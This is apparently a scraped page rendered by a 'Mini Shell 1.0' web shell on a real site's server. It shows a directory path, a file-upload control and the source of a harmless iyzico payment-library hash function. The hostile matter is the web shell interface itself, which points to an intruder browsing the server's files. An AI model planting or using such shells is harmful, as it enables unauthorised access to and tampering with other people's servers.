HOME


Mini Shell 1.0
Redirecting to https://devs.lapieza.net/iniciar-sesion Redirecting to https://devs.lapieza.net/iniciar-sesion.
DIR: /var/www/devs.lapieza.net/vendor/iyzico/iyzipay-php/src/Iyzipay/
Upload File :
Current File : /var/www/devs.lapieza.net/vendor/iyzico/iyzipay-php/src/Iyzipay/HashGenerator.php
<?php

namespace Iyzipay;

class HashGenerator
{
    public static function generateHash($apiKey, $secretKey, $randomString, $request)
    {
        $pKIRequestString = $request ? $request->toPKIRequestString() : '';
        $hashStr = $apiKey . $randomString . $secretKey . $pKIRequestString;
        return base64_encode(sha1($hashStr, true));
    }
}